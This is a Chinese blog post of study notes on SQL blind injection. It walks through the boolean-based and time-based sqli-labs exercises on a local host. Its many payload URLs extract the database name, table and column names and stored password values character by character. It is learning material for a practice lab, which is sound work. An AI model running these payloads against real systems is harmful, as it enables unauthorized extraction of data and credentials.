sql盲注學習筆記

sql盲注

在剛接觸sql注入的時候還不太清楚sql盲注是什么,很多東西都要自己
去體會才能知道到底是什么樣子的。

sql注入之盲注

盲注其實是sql注入的一種,之所以稱為盲注是因為他不會根據你sql注入的攻擊語句返回你想要知道的錯誤信息。
  盲注分為兩類:
    1.布爾盲注 布爾很明顯Ture跟Fales,也就是說它只會根據    你的注入信息返回Ture跟Fales,也就沒有了之前的報錯信息。
    2.時間盲注 界面返回值只有一種,true 無論輸入任何值 返回情況都會按正常的來處理。加入特定的時間函數,通過查看web頁面返回的時間差來判斷注入的語句是否正確。
  需要用到的函數:

Length()函數 返回字符串的長度
Substr()截取字符串
Ascii()返回字符的ascii碼
sleep(n):將程序掛起一段時間 n為n秒
if(expr1,expr2,expr3):判斷語句 如果第一個語句正確就執行第二個語句如果錯誤執行第三個語句

先在mysql里測試下這幾個函數:
    這里使用的是security庫
length函數:



substr函數:



Ascii:

sleep跟if由于是時間盲注就不一一測試了。

布爾盲注

sqli-less-8為布爾盲注這里就用它做下測試
  剛開始用id=1’/ ’) “ 測試了一下發現不會爆出錯誤信息 只有正確跟錯誤 less-8應該就是布爾盲注了吧 然后通過上面的函數首先構造一個猜測數據庫名長度的函數

http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+

返回錯誤 說明length小于10
然后繼續猜測是不是大于5

http://127.0.0.1/Less-8/?id=1' and (length(database()))>5 --+

返回正確說明長度大于5小于10
最后得到結果為

http://127.0.0.1/Less-8/?id=1' and (length(database()))=8 --+

返回正確 長度為八 也就是security
接下來利用substr函數與ascii函數構造猜測數據庫名ascii碼的值的語句 因為現在只知道長度不知道具體內容
構造語句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>100 --+

返回正確說明第一個字母的ascii碼大于100

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))>110 --+

返回正確

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<120 --+

返回正確

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))<115 --+

返回錯誤

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(database(),1,1)))=115 --+

返回正確 通過查ascii碼表可知 ascii(115)=s 也就是security 的第一個字母
通過改變database()后面的數字 可以繼續猜測第二個字母第三個字母
接下來改變語句去猜測表名
構造這個語句的時候發現自己還是不夠熟練 弄錯了好幾次

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100 --+

返回正確 當等于101的時候返回正確 101為 e 查看mysql 得知第一個表為emails 正確結果

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))=114 --+

猜測列名只需要改變幾個地方

http://127.0.0.1/Less-8/?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

獲取user表的內容 經過猜測 ascii為 105 為i 也就是表的第一個列名 id的第一個字母 同樣 通過修改 limit 0,1 獲取第二個列名 修改后面1,1的獲取當前列的其他字段
接著獲取 username 與 password 里面的內容 因為知道了列名所以直接 select password from users 就可以獲取password里面的內容 username一樣
具體語句如下

http://127.0.0.1/Less-8/?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+  

ascii(68)=D 正確
手工盲注很繁瑣 需要一個一個的試 不過現在還是先學習手工理解了sql注入的原理再去用工具比較好

時間盲注

sqli-less-9為時間盲注
前面已經說過slee()函數跟if函數了
這里就直接構造如下語句

http://127.0.0.1/Less-9/?id=1' and (if(ascii(substr(database(),1,1))>100,sleep(10),null))  --+ 

如果返回正確則 頁面會停頓10秒,返回錯誤則會立馬返回
其他與布爾盲注都是差不多的

post類的布爾盲注與時間盲注

前面說的都是get類的盲注,post類的布爾盲注只是把and換成or其他不變,時間盲注有些不同因為在post類里sleep函數會被放大很多也就是說那個延時時間會很長,不過并不影響我們進行測試。

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容

  • SQL盲注,與一般注入的區別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執行結果,而盲注時攻擊者通常是無法...
    牙疼吃糖閱讀 1,687評論 1 5
  • Sql注入定義: 就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行...
    付出從未后悔閱讀 704評論 0 3
  • 漏洞挖掘與利用 測試環境的搭建 引言 為什么要搭建本地測試環境?我想下面的東西能夠回答你的疑惑。 第二百八十五條 ...
    作業沒寫完閱讀 3,228評論 0 4
  • 姓名:于川皓 學號:16140210089 轉載自:https://baike.baidu.com/item/sq...
    道無涯_cc76閱讀 1,972評論 0 2
  • 你終會遇到懂得的知己,只是不能急 文 |王瑞 1 早上五點,突然醒來,明明覺得自己是清醒的,可好像還隱約沉浸在剛才...
    瑞和她的淺島繁花閱讀 632評論 1 1